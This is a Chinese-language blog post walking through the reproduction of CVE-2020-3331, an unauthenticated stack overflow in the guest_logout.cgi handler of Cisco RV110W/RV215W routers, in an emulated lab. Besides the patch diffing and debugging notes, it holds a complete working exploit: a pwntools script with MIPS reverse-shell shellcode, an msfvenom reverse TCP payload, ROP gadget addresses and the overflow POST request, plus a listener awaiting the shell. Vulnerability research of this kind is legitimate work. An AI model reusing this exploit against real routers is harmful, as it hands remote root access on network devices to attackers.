CVE-2020-3331Cisco路由器栈溢出调试

Cisco RV110W Wireless-N VPN防火墙和Cisco RV215W Wireless-N VPN路由器基于web的管理接口中的一个漏洞，能允许未经身份验证的远程攻击者在受影响的设备上执行任意代码。此漏洞是由于基于web的管理界面对用户提供的输入数据的验证不当造成的。攻击者可以通过向目标设备发送精心制作的请求来利用这个漏洞。成功利用漏洞可以让攻击者使用root用户的特权执行任意代码。

环境搭建

搭了很久的环境，一度想放弃。但是前前后后搭了3天，总算成了

docker搭建

首先之前已经有人搭建过一个docker环境。我们拉下来再自己改造就行了：

docker pull vulshare/cve-2020-3331:lxonz
docker run -itd -P vulshare/cve-2020-3331:lxonz

这个docker是在docker里用系统模式开启了 qemu，在qemu里搭建了 httpd 服务，而且已经把 nvram給hook掉了。但是这个唯一的坏处就是没有开启qemu的 gdb调试。

然后，最开始的想法是修改docker里的 qemu启动文件，把gdb调试开启了，再映射出来。但是这样docker后面直接崩掉了。改了很久，都不知道什么原因。

后面尝试在docker里直接下载 gdb-multiarch，然后在docker里直接调试他。这样只需要改改qemu启动文件，加上 -s即可。但是这个的问题是极慢，因为 gdb-multiarch相当于是对 qemu整个系统进行了调试。体验太差了。

后面又尝试在 qemu里系统模式启动了 httpd后，再用 gdbserver转发到 docker里，然后在docker里再调试 httpd。这样做，总算是能够调试了。（具体方法可以参考我之前 mips-pwn环境搭建）

bindiff

具体安装步骤，可以参考这篇文章。有一些问题，在此说明一下自己踩的坑：

• 选择bindiff5和 IDA7.2，这两个版本好像是不会出问题的；
• IDA打开程序进行分析，退出保存数据时需要选择 default，如果选择了 store打开时会需要权限。

bindiff可以根据控制流图对比，其中不同颜色的基本块表示不同意义：

• 绿色：相同的基本块
• 黄色：修改的基本块
• 红色：删掉的基本块
• 灰色：新加的基本块

所以，我们重点关注黄色基本块和红色基本块。

从图中可以看到 新版本删掉了 sscanf函数，改为了 strncpy。sscanf函数是一个格式化函数，可能存在溢出。

漏洞分析

undefined4 guest_logout_cgi(undefined4 param_1)

{
  char cVar1;
  bool bVar2;
  int iVar3;
  size_t var4size;
  char *mac;
  char *ipaddr;
  char *submit_button;
  FILE *fd1;
  char *pcVar4;
  char *local_c0;
  undefined1 *local_bc;
  char *local_b8;
  char *local_b4;
  undefined4 local_b0;
  char argv2 [64];
  char argv1 [68];
  
  iVar3 = get_cgi(&DAT_004819b0);
  mac = (char *)get_cgi(&DAT_004819b0);
  var4size = strlen(mac);
  ipaddr = (char *)(iVar3 + var4size + -1);
  mac = (char *)get_cgi(&DAT_004819b0);
  if (mac < ipaddr) {
    do {
      cVar1 = *ipaddr;
      if (((cVar1 != '\n') && (cVar1 != '\r')) && (cVar1 != ' ')) break;
      *ipaddr = '\0';
      ipaddr = ipaddr + -1;
      mac = (char *)get_cgi(&DAT_004819b0);
    } while (mac < ipaddr);
  }
  mac = (char *)get_cgi(&DAT_004819b0);
  iVar3 = get_cgi(&DAT_004819b8);
  ipaddr = (char *)get_cgi(&DAT_004819b8);
  var4size = strlen(ipaddr);
  submit_button = (char *)(iVar3 + var4size + -1);
  ipaddr = (char *)get_cgi(&DAT_004819b8);
  if (ipaddr < submit_button) {
    do {
      cVar1 = *submit_button;
      if (((cVar1 != '\n') && (cVar1 != '\r')) && (cVar1 != ' ')) break;
      *submit_button = '\0';
      submit_button = submit_button + -1;
      ipaddr = (char *)get_cgi(&DAT_004819b8);
    } while (ipaddr < submit_button);
  }
  ipaddr = (char *)get_cgi(&DAT_004819b8);
  submit_button = (char *)get_cgi("submit_button");
  if (submit_button == (char *)0x0) {
    submit_button = "";
  }
  if (mac == (char *)0x0) {
    return 0;
  }
                    /* argv2 */
  if (ipaddr == (char *)0x0) {
    return 0;
  }
  memset(argv1,0,0x40);
                    /* vul */
  memset(argv2,0,0x40);
  fd1 = fopen("/dev/console","w");
  if (fd1 != (FILE *)0x0) {
    fprintf(fd1,"\n  mac=[%s], ip=[%s], submit_button=[%s]\n",mac,ipaddr,submit_button);
    fclose(fd1);
  }
  iVar3 = VERIFY_MAC_17(mac);
  if ((iVar3 == 0) || (iVar3 = VERIFY_IPv4(ipaddr), iVar3 == 0)) {
    fd1 = fopen("/dev/console","w");
    if (fd1 == (FILE *)0x0) {
      return 0;
    }
    fprintf(fd1,"\n%s(%d)  Drop session,VALID_FAIL, mac=[%s], ip=[%s], submit_button=[%s]\n",
            "guest_logout_cgi",0x1542,mac,ipaddr,submit_button);
    fclose(fd1);
    return 0;
  }
  pcVar4 = strstr(submit_button,"status_guestnet.asp");
  if (pcVar4 == (char *)0x0) {
LAB_00431d24:
    pcVar4 = (char *)nvram_get("http_client_mac");
    if (((pcVar4 == (char *)0x0) || (iVar3 = strcmp(pcVar4,mac), iVar3 == 0)) &&
       ((pcVar4 = (char *)nvram_get("http_client_ip"), pcVar4 == (char *)0x0 ||
        (iVar3 = strcmp(pcVar4,ipaddr), iVar3 == 0)))) {
      bVar2 = false;
      goto LAB_00431c68;
    }
    fd1 = fopen("/dev/console","w");
    if (fd1 != (FILE *)0x0) {
      fprintf(fd1,
              "\n%s(%d)  Drop session, ip and mac invmatch,mac=[%s], ip=[%s],submit_button=[%s]\n",
              "guest_logout_cgi",0x1551,mac,ipaddr,submit_button);
      fclose(fd1);
    }
  }
  else {
    sscanf(submit_button,"%[^;];%*[^=]=%[^\n]",argv1,argv2);	//栈溢出
    fd1 = fopen("/dev/console","w");
    if (fd1 != (FILE *)0x0) {
      fprintf(fd1,"\n%s(%d),submit_button = [%s] url=[%s],session_id=[%s]\n","guest_logout_cgi",
              0x1549,submit_button,argv1,argv2);
      fclose(fd1);
    }
    pcVar4 = (char *)nvram_get("session_key");
    if (pcVar4 == (char *)0x0) goto LAB_00431d24;
    iVar3 = strcmp(pcVar4,argv2);
    bVar2 = true;
    if (iVar3 != 0) goto LAB_00431d24;
LAB_00431c68:
    syslog(6,"The mac is %s and IP is %s of guest network user logout.",mac,ipaddr);
    if ((debug != 0) && (fd1 = fopen("/dev/console","w"), fd1 != (FILE *)0x0)) {
      fprintf(fd1,"%s(): \n  mac=[%s], ip=[%s],submit_button=[%s]\n","guest_logout_cgi",mac,ipaddr,
              submit_button);
      fclose(fd1);
    }
    local_c0 = "/sbin/cron_gn";
    local_bc = &DAT_00485fe4;
    local_b0 = 0;
    local_b8 = mac;
    local_b4 = ipaddr;
    _eval(&local_c0,">/dev/console",0,0);
    if ((bVar2) && (iVar3 = strcmp(argv1,"status_guestnet.asp"), iVar3 == 0)) goto LAB_00431de8;
  }
  iVar3 = strcmp(submit_button,"login_guest.asp");
  if (iVar3 != 0) {
    return 0;
  }
LAB_00431de8:
  var4size = strlen(argv1);
  if (var4size < 6) {
    do_ej(submit_button,param_1);
  }
  else {
    do_ej(argv1,param_1);
  }
  return 0;
}

上图中的代码，简单来说主要分以下几步：

• 调用 get_cgi()函数获取 cmac\cip\submit_button三个参数
• 分别对三个参数进行检查，不能含有 \n、\r和 空格，以及三个参数的前后关系为 cmac`cip\submit_button`
• 检查 submit_button中是否有 status_guestnet.asp，若没有检测 cmac中是否有 http_client_mac或 cip中是否有 http_client_ip
• 调用 sscanf函数，将 submit_button参数 按照 %[^;];%*[^=]=%[^\n]正则表达式，赋值给 argv1和 argv2数组
• 这里正则中 %[^;]表示将 ;前的字符赋值给 argv1， ;%*[^=]表示将 ;后和 =前的字符都过滤掉。=%[^\n]表示将 =和 \n的字符赋值给 argv2。两个数组的长度为 0x40和 0x44，但是却没有对 submit_button参数的长度进行检查

所以，这里存在栈溢出漏洞。而且由于 argv2参数紧邻着 rbp，所以其溢出后，对该函数后续执行到 ret地址前影响不大。

然后，需要分析一下哪个页面才能调用该函数。

CGI服务

首先感谢 N1K0 hxd，给我讲了很多IOT的基础知识。

如果一个 IOT设备使用了 httpd服务，那么由于 httpd本身是开源的，所以按照开源协议，该设备的httpd部分也是需要开源的。这里如果想要搜索思科的开源代码，可以从此处搜索。但是，这里是不能直接得到源码的，因为最新的需要申请，现在只能下到 2015的源码，对我们目前分析作用不大。

然后，大概了解了一下 httpd结构，这里没有能直接找到分析思科httpd结构的，但是找到一篇类似的，感觉有一些收获。通常httpd程序会现解析请求头中的请求类型，如果为 CGI请求，会调用 init_cgi来 execve相关的 cgi程序。

CGI即 Common Gateway Interface，即 通用网关接口。CGI程序通常部署于服务端，当客户端使用 Web服务（例如 http)调用服务端程序时，CGI程序即可被调用。CGI程序可以理解为 协议翻译机，能够实现客户端和服务端使用不同的协议。当 web服务器接受用户的 http请求时，web服务器在调用相应的 cgi程序之前，会把各类 http请求中的信息以 环境变量的形式写入 os。CGI程序通过获取环境变量来获得用户输入。

这里，我们能从 httpd中找到 init_cgi程序，该函数的作用就是匹配客户端请求的 cgi服务，然后再通过 set_cgi去调用相应的 cgi服务。这里就用到了一个 全局函数表，里面存储了各类 cgi程序的地址。

void set_cgi(ACTION param_1,ENTRY *param_2)

{
  undefined4 in_stack_ffffffcc;
  int local_28;
  ENTRY **local_20;
  
  if (DAT_004d8090 != 0) {
    hsearch_r((ENTRY)CONCAT44(in_stack_ffffffcc,0x4d8090),param_1,local_20,(hsearch_data *)0x0);
    if (local_28 == 0) {
      hsearch_r((ENTRY)CONCAT44(in_stack_ffffffcc,0x4d8090),param_1,(ENTRY **)param_2,
                (hsearch_data *)0x1);
      DAT_004d809c = DAT_004d809c + 1;
    }
    else {
      *(ENTRY **)(local_28 + 4) = param_2;
    }
  }
  return;
}

got:004D6FD0 off_4D6FD0:     .word 0                  # DATA XREF: LOAD:0040185C↑o
.got:004D6FD0                                          # _strcpy↑r ...
.got:004D6FD4                 .word 0x80000000
.got:004D6FD8                 .word 0x4D0000
.got:004D6FDC                 .word loc_410000
.got:004D6FE0                 .word unk_480000
.got:004D6FE4                 .word aJavascriptGoto    # "='javascript:goto_page(\\\"view_logs.as"...
.got:004D6FE8                 .word unk_4E0000
.got:004D6FEC                 .word loc_420000
.got:004D6FF0                 .word loc_440000
.got:004D6FF4                 .word 0
.got:004D6FF8                 .word 0
.got:004D6FFC                 .word 0
.got:004D7000                 .word 0
.got:004D7004                 .word 0
.got:004D7008                 .word 0
.got:004D700C                 .word 0
.got:004D7010                 .word 0
.got:004D7014                 .word 0
.got:004D7018 __fputc_unlocked_ptr:.word __fputc_unlocked
.got:004D701C legal_gw_netmask_ptr:.word legal_gw_netmask
.got:004D7020 check_pptpd_clients_ptr:.word check_pptpd_clients
.got:004D7024 vid_reserve_ptr:.word vid_reserve
.got:004D7028 BIO_new_socket_ptr:.word BIO_new_socket
.got:004D702C free_ptr:       .word free
.got:004D7030 do_setup_wizard_ptr:.word do_setup_wizard
.got:004D7034 get_ipsec_status_cgi_ptr:.word get_ipsec_status_cgi
.got:004D7038 pwd_complexity_ptr:.word pwd_complexity
.got:004D703C do_upgrade_cgi_ptr:.word do_upgrade_cgi
.got:004D7040 strpbrk_ptr:    .word strpbrk
.got:004D7044 filter_dport_get_ptr:.word filter_dport_get
.got:004D7048 valid_choice_ptr:.word valid_choice
.got:004D704C validate_lan_ipaddr_ptr:.word validate_lan_ipaddr
.got:004D7050 local_timeout_ptr:.word local_timeout
.got:004D7054 gozila_cgi_ptr: .word gozila_cgi
.got:004D7058 ej_filter_ip_get_ptr:.word ej_filter_ip_get
.got:004D705C close_ptr:      .word close
.got:004D7060 do_security_post_ptr:.word do_security_post
.got:004D7064 wfread_ptr:     .word wfread
.got:004D7068 show_error_ptr: .word show_error
...

在这里面，我们能够发现 guest_logout_cgi，所以这里初步确定想要触发该函数，需要调用 guest_logout.cgi页面。

最终，总结一下该漏洞要触发的要求：

1. 访问 guest_logout.cgi页面
2. 依次布置 cmac、cip和 submit_button三个参数
3. 其中 cmac需要 符合mac地址格式，cip需要符合 ipv4格式，submit_button需要包含 status_guestnet.asp字符
4. 布置溢出格式如： aaaa;=bbbb=;c*0x44+rop。

漏洞调试

发包测试

curl -k -v http://127.0.0.1:32769/guest_logout.cgi
*   Trying 127.0.0.1...
* TCP_NODELAY set
* Connected to 127.0.0.1 (127.0.0.1) port 32769 (#0)
> GET /guest_logout.cgi HTTP/1.1
> Host: 127.0.0.1:32769
> User-Agent: curl/7.58.0
> Accept: */*
> 
< HTTP/1.1 200 Ok
< Server: httpd
< Date: Thu, 01 Apr 2021 10:36:24 GMT
< Cache-Control: no-cache
< Pragma: no-cache
< Expires: 0
< Content-Type: text/html
< Connection: close
< 
* Closing connection 0

从结果中，可以看到我们是能够连接到 guest_logout.cgi页面，程序给了我们一个正常的响应。

调试

确定偏移

我们发送报文如下：

curl -ki -X POST https://127.0.0.1:800/guest_logout.cgi -d"cmac=00:01:02:03:04:05"\
-d "ip=192.168.1.1"\
-d "submit_button=status_guestnet.aspAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB"

在gdb中可以看到 PC指令变为了 BBBB，所以可以确定存在栈溢出。而且这里溢出的字节长度为 85。

S7   0x61616161 ('aaaa')
S8   0x61616161 ('aaaa')
FP   0x7fee9458 ◂— 'aaaaaaaaaaa'
SP   0x7fee9458 ◂— 'aaaaaaaaaaa'
PC   0x61616161 ('BBBB')

确定溢出长度，可以使用 pwntools的脚本：

from pwn import *

url = "https://192.168.1.1/guest_logout.cgi"
payload = {"cmac":"12:af:aa:bb:cc:dd","submit_button":"status_guestnet.asp"+cyclic(100),"cip":"192.168.1.100"}
requests.post(url, data=payload, verify=False, timeout=1)
print payload

发包得到pc中此时的字符，然后使用 cyclic_find函数，即可得到溢出长度：

from pwn import *

num = cyclic_find("aaaw")
print num

gadget

确定溢出长度后，就需要准备 gadget。这里注意 gadget中不能带有 \x00。由于 sscanf是格式化函数，所以存在 00截断。如果我们使用 httpd自带的 gadget，虽然其地址不变，但是其高位必然会存在截断，所以舍弃。

Python>mipsrop.system()
----------------------------------------------------------------------------------------------------------------
|  Address     |  Action                                              |  Control Jump                       
----------------------------------------------------------------------------------------------------------------
|  0x0040CF5C  |  addiu $a0,$sp,0x698+var_628                         |  jalr  $s1                           
|  0x00413330  |  addiu $a0,$sp,0x98+var_64                           |  jalr  $s1                           
|  0x0041353C  |  addiu $a0,$sp,0x250+var_21C                         |  jalr  $s1                           
|  0x0041479C  |  addiu $a0,$sp,0x368+var_344                         |  jalr  $s1                           
|  0x004147DC  |  addiu $a0,$sp,0x368+var_338                         |  jalr  $s1                           
|  0x00414820  |  addiu $a0,$sp,0x368+var_32C                         |  jalr  $s1                           
|  0x00415D3C  |  addiu $a0,$sp,0x58+var_40                           |  jalr  $s2                           
|  0x0041818C  |  addiu $a0,$sp,0x48+var_30                           |  jalr  $s1                           
|  0x0041875C  |  addiu $a0,$sp,0x78+var_54                           |  jalr  $s0

这里有一个背景知识，即虽然 httpd的动态加载库 libc是开启了 aslr，但是对于思科的这款设备，其 httpd加载的 libc基址一直是 0x2af98000，无论重启还是升级，其基址都不会改变。在 CVE-2019-1633中也是一样。但是我自己在我的环境里调试时发现，尽管qemu启动时关掉了 aslr，但是 libc的基址是会改变的。我查看了 randomize_ca_space变量为2，也就是在qemu启动时关掉 aslr并没起作用。所以，这一点就和真机调试有很大区别，真机调试就不用考虑 aslr的问题。 这里，我需要先获取基址如下：

cat /proc/sys/kernel/randomize_va_space 
2

root@debian-mipsel:~# cat /proc/2388/maps | grep libc                             
77314000-7736b000 r-xp 00000000 08:01 788064     /root/squashfs-root/lib/libc.so.0
773ab000-773ac000 r--p 00057000 08:01 788064     /root/squashfs-root/lib/libc.so.0
773ac000-773ad000 rw-p 00058000 08:01 788064     /root/squashfs-root/lib/libc.so.0
    
7fd0c000-7fd2d000 rwxp 00000000 00:00 0          [stack]

而且从上面还发现一个很重要的信息，即 Stack是没有开启 NX保护的。那么，这里我们的 gadget就可以从 libc里寻找，然后跳转到栈上执行 shellcode。

.text:00431B34                 lw      $ra, 0xE8+var_4($sp)
.text:00431B38                 lw      $fp, 0xE8+var_8($sp)
.text:00431B3C                 lw      $s7, 0xE8+var_C($sp)
.text:00431B40                 lw      $s6, 0xE8+var_10($sp)
.text:00431B44                 lw      $s5, 0xE8+var_14($sp)
.text:00431B48                 lw      $s4, 0xE8+var_18($sp)
.text:00431B4C                 lw      $s3, 0xE8+var_1C($sp)
.text:00431B50                 lw      $s2, 0xE8+var_20($sp)
.text:00431B54                 lw      $s1, 0xE8+var_24($sp)
.text:00431B58                 lw      $s0, 0xE8+var_28($sp)
.text:00431B5C                 move    $v0, $zero
.text:00431B60                 jr      $ra

这里 guest_logout_cgi函数最后退出时，寄存器布置如上所示。我们重点关注 返回地址 $ra 位于 sp+0xe4处， 然后其他的 $s0-$s7 也是从栈上读取。所以我们可以在栈上布置好地址，然后返回时会赋值给 $s0-$s7的寄存器，我门只需要找的rop跳转到 $s0-$s7寄存器即可控制程序执行流。这里如下的都是可用的 gadget：

Python>mipsrop.system()
----------------------------------------------------------------------------------------------------------------
|  Address     |  Action                                              |  Control Jump                          |
----------------------------------------------------------------------------------------------------------------
|  0x000257A0  |  addiu $a0,$sp,0x58+var_40                           |  jalr  $s0                           
|  0x00025CAC  |  addiu $a0,$sp,0x60+var_48                           |  jalr  $s3                           
|  0x0002747C  |  addiu $a0,$sp,0x60+var_48                           |  jalr  $s3                           
|  0x0002CC00  |  addiu $a0,$sp,0x48+var_20                           |  jalr  $s0                           
|  0x0002CC08  |  addiu $a0,$sp,0x48+var_20                           |  jalr  $s1                           
|  0x0003D050  |  addiu $a0,$sp,0x38+var_20                           |  jalr  $a0

我选了其中的两个：

.text:000257A0                 addiu   $a0, $sp, 0x58+var_40
.text:000257A4                 move    $t9, $s0
.text:000257A8                 jalr    $t9
    
.text:0003D050                 move    $t9, $a0
.text:0003D054                 sw      $v0, 0x38+var_20($sp)
.text:0003D058                 jalr    $t9

在栈上 $sp+0xb8的位置布置上 0x3d050的地址，将返回地址设置为 0x257a0，在 返回地址 +0x18位置布置 shellcode。

此处的 shellcode也必须不包含 \x00，所以我直接用网上师傅推荐的一个 mips的shellcode了。

#close stdin(0)
shellcode =  "slti $a0, $zero, 0xFFFF\n"
shellcode +=  "slti $a0, $zero, 0xFFFF\n"
shellcode +=  "li $v0, 4006\n"
shellcode +=  "syscall 0x42424\n"
#close stdout(1)
shellcode +=  "slti $a0, $zero, 0x1111\n"
shellcode +=  "li $v0, 4006\n"
shellcode +=   "syscall 0x42424\n"
#close stderr(2)
shellcode +=   "li $t4, 0xFFFFFFFD\n" 
shellcode +=   "not $a0, $t4\n"
shellcode +=   "li $v0, 4006\n"
shellcode +=   "syscall 0x42424\n"
#Socket Domain - AF_INET (2)
shellcode +=   "li $t4, 0xFFFFFFFD\n" 
shellcode +=   "not $a0, $t4\n"
shellcode +=    "not $a1, $t4\n"
shellcode +=    "slti $a2, $zero, 0xFFFF\n"
shellcode +=   "li $v0, 4183\n"
shellcode +=     "syscall 0x42424\n"
#Move socket return value (v0) to register a0
#V0 must be below 0xFFFF/65535
shellcode +=     "andi $a0, $v0, 0xFFFF\n"
#Calling dup three times
#Duplicate FD (stdin)
#Socket returned fd 0 - stdin goes to socket
#-----
#Duplicate FD (stdout)
shellcode +=     "li $v0, 4041\n"
shellcode +=     "syscall 0x42424\n"
#Duplicate FD (stderr)
shellcode +=    "li $v0, 4041\n"
shellcode +=    "syscall 0x42424\n"
#Connect sockfd
#Socket FD is already in a0
#-----
#Connect sockaddr
shellcode +=     "lui $a1, 0x6979\n"	#port=31337=0x6979+0x101
shellcode +=     "ori $a1, 0xFF01\n"
shellcode +=     "addi $a1, $a1, 0x0101\n"
shellcode +=     "sw $a1, -8($sp)\n"
#Connect addrlen - 16
shellcode +=    "li $a1, 0x1000007f\n"   #ip=0x1000007f=127.0.0.1
shellcode +=     "sw $a1, -4($sp)\n"
shellcode +=     "addi $a1, $sp, -8\n"
#Connect addrlen - 16
shellcode +=     "li $t4, 0xFFFFFFEF\n"
shellcode +=     "not $a2, $t4\n"
#Call connect
shellcode +=     "li $v0, 4170\n"
shellcode +=     "syscall 0x42424\n"
#Putting /bin/sh onto the stack
shellcode +=     "lui $t0, 0x6962\n"
shellcode +=     "ori $t0, $t0,0x2f2f\n"
shellcode +=      "sw $t0, -20($sp)\n"
shellcode +=     "lui $t0, 0x6873\n"
shellcode +=      "ori $t0, 0x2f6e\n"
shellcode +=      "sw $t0, -16($sp)\n"
shellcode +=      "slti $a3, $zero, 0xFFFF\n"
shellcode +=      "sw $a3, -12($sp)\n"
shellcode +=     "sw $a3, -4($sp)\n"
 #execve *filename
shellcode +=     "addi $a0, $sp, -20\n"
shellcode +=     "addi $t0, $sp, -20\n"
shellcode +=      "sw $t0, -8($sp)\n"
shellcode +=      "addi $a1, $sp, -8\n"
#addiu $sp, $sp, -20 #Adjusting stack  
#
#execve envp[] - 0
shellcode +=      "addiu $sp, $sp, -20\n" 
shellcode +=     "slti $a2, $zero, 0xFFFF\n"
#Call execve
shellcode +=      "li $v0, 4011\n"
shellcode +=     "syscall 0x42424" 

shell_code = asm(shellcode)

然后，可以使用 msf生成一个合适的 shellcode，这里如下所示：

msfvenom -p linux/mipsle/shell_reverse_tcp  LHOST=127.0.0.1 LPORT=666 --arch mipsle --platform linux -f py -o shellcode.py

buf =  ""
buf += "\xfa\xff\x0f\x24\x27\x78\xe0\x01\xfd\xff\xe4\x21\xfd"
buf += "\xff\xe5\x21\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x01"
buf += "\x01\x01\xff\xff\xa2\xaf\xff\xff\xa4\x8f\xfd\xff\x0f"
buf += "\x34\x27\x78\xe0\x01\xe2\xff\xaf\xaf\x02\x9a\x0e\x3c"
buf += "\x02\x9a\xce\x35\xe4\xff\xae\xaf\x00\x01\x0e\x3c\x7f"
buf += "\x00\xce\x35\xe6\xff\xae\xaf\xe2\xff\xa5\x27\xef\xff"
buf += "\x0c\x24\x27\x30\x80\x01\x4a\x10\x02\x24\x0c\x01\x01"
buf += "\x01\xfd\xff\x11\x24\x27\x88\x20\x02\xff\xff\xa4\x8f"
buf += "\x21\x28\x20\x02\xdf\x0f\x02\x24\x0c\x01\x01\x01\xff"
buf += "\xff\x10\x24\xff\xff\x31\x22\xfa\xff\x30\x16\xff\xff"
buf += "\x06\x28\x62\x69\x0f\x3c\x2f\x2f\xef\x35\xec\xff\xaf"
buf += "\xaf\x73\x68\x0e\x3c\x6e\x2f\xce\x35\xf0\xff\xae\xaf"
buf += "\xf4\xff\xa0\xaf\xec\xff\xa4\x27\xf8\xff\xa4\xaf\xfc"
buf += "\xff\xa0\xaf\xf8\xff\xa5\x27\xab\x0f\x02\x24\x0c\x01"
buf += "\x01\x01"

ROP

当然这里也可以直接使用 ROP，从 libc中找到 system地址，在 $s0处布置 system地址，在返回地址 +0x18处布置 shell字符。最后的 ROP如下：

EXP

from pwn import *
import thread,requests
context.update(arch='mips',endian='little',os='linux')

io     = listen(31337)
#close stdin(0)
shellcode =  "slti $a0, $zero, 0xFFFF\n"
shellcode +=  "slti $a0, $zero, 0xFFFF\n"
shellcode +=  "li $v0, 4006\n"
shellcode +=  "syscall 0x42424\n"
#close stdout(1)
shellcode +=  "slti $a0, $zero, 0x1111\n"
shellcode +=  "li $v0, 4006\n"
shellcode +=   "syscall 0x42424\n"
#close stderr(2)
shellcode +=   "li $t4, 0xFFFFFFFD\n" 
shellcode +=   "not $a0, $t4\n"
shellcode +=   "li $v0, 4006\n"
shellcode +=   "syscall 0x42424\n"
#Socket Domain - AF_INET (2)
shellcode +=   "li $t4, 0xFFFFFFFD\n" 
shellcode +=   "not $a0, $t4\n"
shellcode +=    "not $a1, $t4\n"
shellcode +=    "slti $a2, $zero, 0xFFFF\n"
shellcode +=   "li $v0, 4183\n"
shellcode +=     "syscall 0x42424\n"
#Move socket return value (v0) to register a0
#V0 must be below 0xFFFF/65535
shellcode +=     "andi $a0, $v0, 0xFFFF\n"
#Calling dup three times
#Duplicate FD (stdin)
#Socket returned fd 0 - stdin goes to socket
#-----
#Duplicate FD (stdout)
shellcode +=     "li $v0, 4041\n"
shellcode +=     "syscall 0x42424\n"
#Duplicate FD (stderr)
shellcode +=    "li $v0, 4041\n"
shellcode +=    "syscall 0x42424\n"
#Connect sockfd
#Socket FD is already in a0
#-----
#Connect sockaddr
shellcode +=     "lui $a1, 0x6979\n"    #port=31337=0x6979+0x101
shellcode +=     "ori $a1, 0xFF01\n"
shellcode +=     "addi $a1, $a1, 0x0101\n"
shellcode +=     "sw $a1, -8($sp)\n"
#Connect addrlen - 16
shellcode +=    "li $a1, 0x1000007f\n"   #ip=0x1000007f=127.0.0.1
shellcode +=     "sw $a1, -4($sp)\n"
shellcode +=     "addi $a1, $sp, -8\n"
#Connect addrlen - 16
shellcode +=     "li $t4, 0xFFFFFFEF\n"
shellcode +=     "not $a2, $t4\n"
#Call connect
shellcode +=     "li $v0, 4170\n"
shellcode +=     "syscall 0x42424\n"
#Putting /bin/sh onto the stack
shellcode +=     "lui $t0, 0x6962\n"
shellcode +=     "ori $t0, $t0,0x2f2f\n"
shellcode +=      "sw $t0, -20($sp)\n"
shellcode +=     "lui $t0, 0x6873\n"
shellcode +=      "ori $t0, 0x2f6e\n"
shellcode +=      "sw $t0, -16($sp)\n"
shellcode +=      "slti $a3, $zero, 0xFFFF\n"
shellcode +=      "sw $a3, -12($sp)\n"
shellcode +=     "sw $a3, -4($sp)\n"
 #execve *filename
shellcode +=     "addi $a0, $sp, -20\n"
shellcode +=     "addi $t0, $sp, -20\n"
shellcode +=      "sw $t0, -8($sp)\n"
shellcode +=      "addi $a1, $sp, -8\n"
#addiu $sp, $sp, -20 #Adjusting stack  
#
#execve envp[] - 0
shellcode +=      "addiu $sp, $sp, -20\n" 
shellcode +=     "slti $a2, $zero, 0xFFFF\n"
#Call execve
shellcode +=      "li $v0, 4011\n"
shellcode +=     "syscall 0x42424" 

shell_code = asm(shellcode)

buf =  ""
buf += "\xfa\xff\x0f\x24\x27\x78\xe0\x01\xfd\xff\xe4\x21\xfd"
buf += "\xff\xe5\x21\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x01"
buf += "\x01\x01\xff\xff\xa2\xaf\xff\xff\xa4\x8f\xfd\xff\x0f"
buf += "\x34\x27\x78\xe0\x01\xe2\xff\xaf\xaf\x02\x9a\x0e\x3c"
buf += "\x02\x9a\xce\x35\xe4\xff\xae\xaf\x00\x01\x0e\x3c\x7f"
buf += "\x00\xce\x35\xe6\xff\xae\xaf\xe2\xff\xa5\x27\xef\xff"
buf += "\x0c\x24\x27\x30\x80\x01\x4a\x10\x02\x24\x0c\x01\x01"
buf += "\x01\xfd\xff\x11\x24\x27\x88\x20\x02\xff\xff\xa4\x8f"
buf += "\x21\x28\x20\x02\xdf\x0f\x02\x24\x0c\x01\x01\x01\xff"
buf += "\xff\x10\x24\xff\xff\x31\x22\xfa\xff\x30\x16\xff\xff"
buf += "\x06\x28\x62\x69\x0f\x3c\x2f\x2f\xef\x35\xec\xff\xaf"
buf += "\xaf\x73\x68\x0e\x3c\x6e\x2f\xce\x35\xf0\xff\xae\xaf"
buf += "\xf4\xff\xa0\xaf\xec\xff\xa4\x27\xf8\xff\xa4\xaf\xfc"
buf += "\xff\xa0\xaf\xf8\xff\xa5\x27\xab\x0f\x02\x24\x0c\x01"
buf += "\x01\x01"

#shell_code = buf

jmp_a0 = 0x3D050 
jmp_s0 = 0x257A0
libc_base = 0x77314000

payload = "status_guestnet.asp"+'a'*49+p32(libc_base+jmp_a0)+0x20*'a'+p32(libc_base+jmp_s0)+0x18*'a'+shell_code
payloadPost = {"cmac":"12:af:aa:bb:cc:dd","submit_button":payload,"cip":"192.168.1.100"}

def attack():
    try: requests.post("https://192.168.65.130:41137/guest_logout.cgi", data=payloadPost, verify=False,timeout=1)
    except: pass

thread.start_new_thread(attack,())
io.wait_for_connection()
log.success("getshell")
io.interactive()

后记

这个洞利用不是很难，但是在没有真机的情况下，搭建仿真环境真是花了很多时间。虽然网上现在有几个可以直接用的docker，但是想要调试，还是得自己花功夫改。最后实现的效果是在 docker里能够攻击 qemu仿真的 httpd，直接使用虚拟机是能够连接到 docker的，因为经过了两层的端口转发，但是反弹shell时却有问题，qemu无法连接虚拟机。其次是调试的时候，没有实现能够看到 完整的汇编代码，gdb-multiarch只能看到内存和寄存器的值，像一个没有 插件的 原始gdb。最后，辛辛苦苦搭的docker因为修改了启动配置，现在直接启动就崩掉了，难顶：）

参考

思科RV110W CVE-2020-3331漏洞调试与iot靶场搭建

Tenda漏洞环境搭建与复现（CVE-2020-10987）

思科路由器 RV110W CVE-2020-3331 漏洞复现

2020强网杯决赛Cisco路由器

赏

只要你支持她，我们就是好朋友2333

支付宝

微信

• 本文作者： A1ex
• 本文链接： http://yoursite.com/2021/04/05/CVE-2020-3331Cisco路由器栈溢出调试/
• 版权声明： 本博客所有文章除特别声明外，均采用 MIT 许可协议。转载请注明出处！